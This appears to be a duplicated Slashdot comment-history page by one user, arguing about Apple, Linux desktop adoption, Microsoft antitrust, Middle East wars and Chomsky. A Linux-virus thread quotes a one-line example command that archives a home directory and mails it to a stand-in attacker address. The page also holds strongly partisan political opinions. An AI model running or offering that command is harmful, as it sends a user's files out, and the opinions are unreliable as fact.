Only Apple users think having the company hide as much as possible is a GOOD thing.
Re:Manual length and Macs vs. PC
on
Macintosh Clustering
·
· Score: 0, Flamebait
This actually reminds me of one of the reasons I detest Apple.
Back in the 80s when the Macintosh came out, they started running commercials where a huge stack of PC manuals was dropped on a desk with huge THUD. Then they had the little, teeny Mac manual float gently to the desk. Then the announcer came up, "which would you rather have?" or some idiotic comment like that.
Of course, after that, we saw the Great Manual Shrinkage where PC makers fell over each to ship as little documentation as possible.
So ever wonder why you get so little useful information with your computer? Blame Apple.
Say what you want about Carrot Top, but he must have a HELL of an agent. How does this guy get work?? He either has robo-agent, or a huge investigative staff to dig up dirt on potential clients.
Maybe someone could sneak up on him sometime and shave off all the hair. Maybe like Samson he will lose all his career power if the hair is gone.
virii for the Linux platform need to be more sophisticated, as there are many choices of systems tools, and a truely eficient virus would download and install the latest tools or just patch them as it went.
Sophisticated? Are you joking? How sophisticated do you need to be to write "tar cf - ~ | gzip | uuencode - | mail l33t@haxhor.com"?
Did you read his message?! A future virus would have an easier time sharing your files with the world, since sharing files with the world is integrated at filesystem level. The virus would only have to change WHAT to share, not HOW to share it.
Actually, a Linux virus is way easier than a Windows virus because of all the standard tools (tar, gzip, ftp, mail, or good god, Perl.). I could send your entire user directory to me in a couple lines of shell script.
Um, nothing stops a virus from e-mailing directories right now. Of course, I could point out that nothing stops a Linux virus e-mailing your directories, either.
P.S. Once again, it must be pointed out that virii is not a word (and actually makes no sense linguistically).
What I don't get is why this article keeps harping on phones. Who needs 144kbps to your phone? Streaming video? Who is going to watch video on their phone? You can't browser. E-mail is possible, but not all that interesting.
Show me a PCMCIA adapter for my laptop, and then I get interested. Even a pocket PC might semi-interesting (although browsing would still suck, I'd imagine).
Why would anyone "switch" their OS out from under a working set of applications, to an OS (an OS) that might not run many of them?
They won't switch if it "might not run many of them". If it ran very nearly all of them, they still will not switch. But if it runs nearly all of them AND provides some added value in some way, then they might. For example, Windows caused people to switch because it provided added value (the GUI) AND still allowed them to run all of their DOS applications.
Linux (X/GNU/Linux + applications) has to sell itself as being different from Windows. It can't win by emulating.
And why is "different" better than Windows? People don't want "different", they want something that runs the applications that they want. If Linux can't run the applications they want, Linux doesn't even get consideration. And if Linux gets consideration, then there must significant value to make someone leave the safety of the mainstream.
Look at Apple to see what happens when you are different.
We've already shown (and the US courts agree) that you can't compete directly with Windows even if you give the alternative away.
Surely you don't mean Linux? You think Linux is rejected by the masses because of Microsoft?? Please. Sheesh, clue in: PEOPLE DON'T F***ING WANT IT. What good is Linux when it can't run the applications people want? When you can't buy "Recipe Box" program and load it on?
Linux is completely worthless for the vast majority of people, unless they either 1) are not interested in Windows software (which makes them zealots), or 2) they are so scared of computers that they will never want to load any software on, and will just stick to e-mail and browsing. Neither one of these markets are significant enough for computer makers to consider Linux.
Sometimes "free" is not worth the price.
P.S. This is coming from someone who uses Linux every day... as a server development system.
Linux *can* make it on the desktop, but most Linux advocates miss the most important point:
No one cares about operating systems. People use applications, not operating systems.
Something like Lindows is the ONLY way you are going to get people to consider switching. What if Windows had had no DOS compatibility? It would have died a fiery death. It is not an exaggeration to say that the reason Windows won over the competing Windowing systems early on is because Windows had the best DOS compatibility.
If anyone wants Linux on the desktop to succeed, you must have rock-solid Windows application compatibility, and rock-solid hardware driver compatibility. That's the only path, and anyone who thinks differently is deluding themselves.
The only way I can think of for them to detect NAT is if they see simultaneous activity on too many ports at once, indicating more than one person at the same time is using the Internet.
Obviously, the more people you have on the line, the more likely this is to occur.
Seems kind of silly to spend a lot of resources on this. I can kind of understand maybe charging people more for using more bandwidth than average.
<controversial opinion>Thank the pro-life contingent for this. Yes, them. Because of the hard-line stance of many people that human life shouldn't be devalued through experimentation, there is naturally going to be a lot more research into finding adult cells that do not have the controversy attached.
Sometimes sticking to principles and not taking the easy ways out (e.g., manufacturing embryoes for experimentation) leads to very nice results.
but we've done quite a bit of fighting in the middle east and it hasn't brought peace yet.
On the contrary, every time we go in and kick butt in a serious way, things get a lot more stable. Remember Libya? Khadaffi hasn't done much since Reagan kicked his ass in the 80s. Iraq, while not taken care of, hasn't made any moves on its neighbors (remember that Saudi Arabia was the next target after Kuwait). Unfortunately, Iraq is also an example of what happens when you don't finish the job.
Obviously Afghanistan is not going to be a terrorist haven for quite a while.
What will be interesting is to what happens with Israel and the Palistinians. While I don't either side is totally blameless, if you look at the history it's remarkable how much restraint Israel has shown through the years. Frankly, I think its going to take an all-out war with Israel taking over the place and just setting an agreement in place. That conflict is a great example of what happens when you coddle and coddle and coddle criminals like Arafat. There is no making peace with those kinds of people. They just lead them along and will never be satisfied with any agreement.
By "generally accepted accounting
principles" they still lost $millions this quarter.
What was that you were saying about reading the press releases closely? "Amazon reported net income of $5 million, or a penny a share, under generally accepted accounting principles, well ahead of analysts' expectations."
Sheesh, dude, it's only the first line of the article. It says that analysts expected Amazon to report profit on a pro-forma basis, but they surprised everyone by using GAAP.
No, it's not arguable whether Microsoft's business practices were illegal. Microsoft has been found guilty in federal court of breaking federal anti-trust laws.
Of course it's arguable, unless you think courts are somehow empowered with Pope-like divine infallibility.
Microsoft may be guilty of something, but we'll never know from THAT court. The judge was a baffoon, and the case they brought was deeply flawed. They never should have picked the browser as the basis for the case. Microsoft were idiots in the way the defended themselves. They should have defended their right to put accessory features vital to an operating system, not that laughable "it's too deeply integrated to remove" defense.
The world is at relative peace because the US fights a hell of a lot of battles for other countries. Or haven't you noticed that we haven't had a major war in Europe in over 50 years? How long do you think it would have taken the Soviet Empire to overrun Europe if the US hadn't dedicated itself to staying strong?
And what's remarkable isn't that we are having planes flown into our buildings, its that we have so few terrorist incidents on our soil. Guess why? Because take a look at what happens when you piss us off.
After we are done in the middle east, I guarantee you we will see more peace there than we've seen in a long time, possibly ever. Yes, war will have done what all the pleading and whining for peace never could.
I think you mean the policeman in the Rodney King incident, who were tried twice for the same crime (yes, I know they called it something else in federal court, but come on.)
including that pacifism causes war: "You are going to kill me because I DIDN'T try to kill you????"
No, you are getting killed because you did not recognize that there really are bad people in the world, and take the proper measures. Peace is enabled through strength. Pacifism never stops wars, it only enables them.
OK, I can appreciate the fact that Microsoft has engaged is some questionable business practices (although, it's arguable whether they're actually illegal or not).
But the Netscape browser was bug-ridden piece of crap. That's why they died.
Put it this way: Microsoft also gives away an e-mail client. But other people who make e-mail clients are whining -- they just make a better product.
Of course, it's always amusing watching free software advocates (who think software should be free/beer) whine about Microsoft giving away software for free.
Actually despite what you said alot of what Hitler and the Unabomber said was perfectly valid,
That's true. But your presupposing that you whatever truth is contained in their writings is not available from more balanced individuals.
As for Chomsky, whatever minor truth that's contained in his writings is buried within layer after layer of his literal crazyness (yes, I believe the man is unbalanced). There is nothing there you can't elsewhere without all the ravings.
if you cannot refute Chomsky's points, do yourself a favor and shut up or else you will look stupid.
You're argument is like saying, "if you can't refute Joe Fool's arguments that we never landed on the moon, do yourself a favor and shut up or else you will look stupid." There are some people who just rave and aren't worth spending time refuting.
If you feel the need to find about Chomsky for yourself, there are endless refutations available. Just because I don't waste my time on him, doesn't mean that he knows what he's talking about.
Put it this way: I don't need to read the Unabomber's manifesto or Hitler's Mein Kampf to know that whatever is in there is tainted by the resepective man's insanity. I might read read them of curiosity of seeing into an unbalanced mind, but not to get insightful political analysis.
So, if a person is known to oppose a certain group of people it invalidates his arguments against them?
First of all, he does more than "oppose" them, he has a frothing, spitting -- one might even say ludicrous -- hatred of them.
The point is that it doesn't necessarily invalidate his arguments, it invalidates himself. Why waste time unravelling his half-truths and insanity when you can find much, much better sources (even sources that aren't necessarily favorable)?
If it's Noam Chomsky, and he's talking politics, you can almost guarantee that everything he is saying is wrong.
I believe if you enable "Active Desktop", everything is a single click, web-style. You might give that a try (I haven't used it in a long time, and I don't know what it looks like in XP).
Slashdot Mirror
Only Apple users think having the company hide as much as possible is a GOOD thing.
This actually reminds me of one of the reasons I detest Apple.
Back in the 80s when the Macintosh came out, they started running commercials where a huge stack of PC manuals was dropped on a desk with huge THUD. Then they had the little, teeny Mac manual float gently to the desk. Then the announcer came up, "which would you rather have?" or some idiotic comment like that.
Of course, after that, we saw the Great Manual Shrinkage where PC makers fell over each to ship as little documentation as possible.
So ever wonder why you get so little useful information with your computer? Blame Apple.
Touche... I think you hit on it. The only explanation.
Say what you want about Carrot Top, but he must have a HELL of an agent. How does this guy get work?? He either has robo-agent, or a huge investigative staff to dig up dirt on potential clients.
Maybe someone could sneak up on him sometime and shave off all the hair. Maybe like Samson he will lose all his career power if the hair is gone.
virii for the Linux platform need to be more sophisticated, as there are many choices of systems tools, and a truely eficient virus would download and install the latest tools or just patch them as it went.
Sophisticated? Are you joking? How sophisticated do you need to be to write "tar cf - ~ | gzip | uuencode - | mail l33t@haxhor.com"?
It's WAY easier do this sort thing under Unix.
Did you read his message?! A future virus would have an easier time sharing your files with the world, since sharing files with the world is integrated at filesystem level. The virus would only have to change WHAT to share, not HOW to share it.
Actually, a Linux virus is way easier than a Windows virus because of all the standard tools (tar, gzip, ftp, mail, or good god, Perl.). I could send your entire user directory to me in a couple lines of shell script.
Um, nothing stops a virus from e-mailing directories right now. Of course, I could point out that nothing stops a Linux virus e-mailing your directories, either.
P.S. Once again, it must be pointed out that virii is not a word (and actually makes no sense linguistically).
What I don't get is why this article keeps harping on phones. Who needs 144kbps to your phone? Streaming video? Who is going to watch video on their phone? You can't browser. E-mail is possible, but not all that interesting.
Show me a PCMCIA adapter for my laptop, and then I get interested. Even a pocket PC might semi-interesting (although browsing would still suck, I'd imagine).
Why would anyone "switch" their OS out from under a working set of applications, to an OS (an OS) that might not run many of them?
They won't switch if it "might not run many of them". If it ran very nearly all of them, they still will not switch. But if it runs nearly all of them AND provides some added value in some way, then they might. For example, Windows caused people to switch because it provided added value (the GUI) AND still allowed them to run all of their DOS applications.
Linux (X/GNU/Linux + applications) has to sell itself as being different from Windows. It can't win by emulating.
And why is "different" better than Windows? People don't want "different", they want something that runs the applications that they want. If Linux can't run the applications they want, Linux doesn't even get consideration. And if Linux gets consideration, then there must significant value to make someone leave the safety of the mainstream.
Look at Apple to see what happens when you are different.
We've already shown (and the US courts agree) that you can't compete directly with Windows even if you give the alternative away.
Surely you don't mean Linux? You think Linux is rejected by the masses because of Microsoft?? Please. Sheesh, clue in: PEOPLE DON'T F***ING WANT IT. What good is Linux when it can't run the applications people want? When you can't buy "Recipe Box" program and load it on?
Linux is completely worthless for the vast majority of people, unless they either 1) are not interested in Windows software (which makes them zealots), or 2) they are so scared of computers that they will never want to load any software on, and will just stick to e-mail and browsing. Neither one of these markets are significant enough for computer makers to consider Linux.
Sometimes "free" is not worth the price.
P.S. This is coming from someone who uses Linux every day ... as a server development system.
Linux *can* make it on the desktop, but most Linux advocates miss the most important point:
No one cares about operating systems. People use applications, not operating systems.
Something like Lindows is the ONLY way you are going to get people to consider switching. What if Windows had had no DOS compatibility? It would have died a fiery death. It is not an exaggeration to say that the reason Windows won over the competing Windowing systems early on is because Windows had the best DOS compatibility.
If anyone wants Linux on the desktop to succeed, you must have rock-solid Windows application compatibility, and rock-solid hardware driver compatibility. That's the only path, and anyone who thinks differently is deluding themselves.
The only way I can think of for them to detect NAT is if they see simultaneous activity on too many ports at once, indicating more than one person at the same time is using the Internet.
Obviously, the more people you have on the line, the more likely this is to occur.
Seems kind of silly to spend a lot of resources on this. I can kind of understand maybe charging people more for using more bandwidth than average.
At this rate it's well on its way to becoming the Emacs of the browser world, and it might even be there now.
With complements like that, who needs insults?
Yeah, it's pretty closed minded to not want to experiment on human embryos (AKA pre-born babies).
And by the way, religion is irrelevent to the issue (on BOTH sides).
<controversial opinion>Thank the pro-life contingent for this. Yes, them. Because of the hard-line stance of many people that human life shouldn't be devalued through experimentation, there is naturally going to be a lot more research into finding adult cells that do not have the controversy attached.
Sometimes sticking to principles and not taking the easy ways out (e.g., manufacturing embryoes for experimentation) leads to very nice results.
</controversial opinion>
but we've done quite a bit of fighting in the middle east and it hasn't brought peace yet.
On the contrary, every time we go in and kick butt in a serious way, things get a lot more stable. Remember Libya? Khadaffi hasn't done much since Reagan kicked his ass in the 80s. Iraq, while not taken care of, hasn't made any moves on its neighbors (remember that Saudi Arabia was the next target after Kuwait). Unfortunately, Iraq is also an example of what happens when you don't finish the job.
Obviously Afghanistan is not going to be a terrorist haven for quite a while.
What will be interesting is to what happens with Israel and the Palistinians. While I don't either side is totally blameless, if you look at the history it's remarkable how much restraint Israel has shown through the years. Frankly, I think its going to take an all-out war with Israel taking over the place and just setting an agreement in place. That conflict is a great example of what happens when you coddle and coddle and coddle criminals like Arafat. There is no making peace with those kinds of people. They just lead them along and will never be satisfied with any agreement.
By "generally accepted accounting principles" they still lost $millions this quarter.
What was that you were saying about reading the press releases closely? "Amazon reported net income of $5 million, or a penny a share, under generally accepted accounting principles, well ahead of analysts' expectations."
Sheesh, dude, it's only the first line of the article. It says that analysts expected Amazon to report profit on a pro-forma basis, but they surprised everyone by using GAAP.
No, it's not arguable whether Microsoft's business practices were illegal. Microsoft has been found guilty in federal court of breaking federal anti-trust laws.
Of course it's arguable, unless you think courts are somehow empowered with Pope-like divine infallibility.
Microsoft may be guilty of something, but we'll never know from THAT court. The judge was a baffoon, and the case they brought was deeply flawed. They never should have picked the browser as the basis for the case. Microsoft were idiots in the way the defended themselves. They should have defended their right to put accessory features vital to an operating system, not that laughable "it's too deeply integrated to remove" defense.
The world is at relative peace because the US fights a hell of a lot of battles for other countries. Or haven't you noticed that we haven't had a major war in Europe in over 50 years? How long do you think it would have taken the Soviet Empire to overrun Europe if the US hadn't dedicated itself to staying strong?
And what's remarkable isn't that we are having planes flown into our buildings, its that we have so few terrorist incidents on our soil. Guess why? Because take a look at what happens when you piss us off.
After we are done in the middle east, I guarantee you we will see more peace there than we've seen in a long time, possibly ever. Yes, war will have done what all the pleading and whining for peace never could.
I think you mean the policeman in the Rodney King incident, who were tried twice for the same crime (yes, I know they called it something else in federal court, but come on.)
including that pacifism causes war: "You are going to kill me because I DIDN'T try to kill you????"
No, you are getting killed because you did not recognize that there really are bad people in the world, and take the proper measures. Peace is enabled through strength. Pacifism never stops wars, it only enables them.
OK, I can appreciate the fact that Microsoft has engaged is some questionable business practices (although, it's arguable whether they're actually illegal or not).
But the Netscape browser was bug-ridden piece of crap. That's why they died.
Put it this way: Microsoft also gives away an e-mail client. But other people who make e-mail clients are whining -- they just make a better product.
Of course, it's always amusing watching free software advocates (who think software should be free/beer) whine about Microsoft giving away software for free.
Actually despite what you said alot of what Hitler and the Unabomber said was perfectly valid,
That's true. But your presupposing that you whatever truth is contained in their writings is not available from more balanced individuals.
As for Chomsky, whatever minor truth that's contained in his writings is buried within layer after layer of his literal crazyness (yes, I believe the man is unbalanced). There is nothing there you can't elsewhere without all the ravings.
if you cannot refute Chomsky's points, do yourself a favor and shut up or else you will look stupid.
You're argument is like saying, "if you can't refute Joe Fool's arguments that we never landed on the moon, do yourself a favor and shut up or else you will look stupid." There are some people who just rave and aren't worth spending time refuting.
If you feel the need to find about Chomsky for yourself, there are endless refutations available. Just because I don't waste my time on him, doesn't mean that he knows what he's talking about.
Put it this way: I don't need to read the Unabomber's manifesto or Hitler's Mein Kampf to know that whatever is in there is tainted by the resepective man's insanity. I might read read them of curiosity of seeing into an unbalanced mind, but not to get insightful political analysis.
So, if a person is known to oppose a certain group of people it invalidates his arguments against them?
First of all, he does more than "oppose" them, he has a frothing, spitting -- one might even say ludicrous -- hatred of them.
The point is that it doesn't necessarily invalidate his arguments, it invalidates himself. Why waste time unravelling his half-truths and insanity when you can find much, much better sources (even sources that aren't necessarily favorable)?
If it's Noam Chomsky, and he's talking politics, you can almost guarantee that everything he is saying is wrong.
I believe if you enable "Active Desktop", everything is a single click, web-style. You might give that a try (I haven't used it in a long time, and I don't know what it looks like in XP).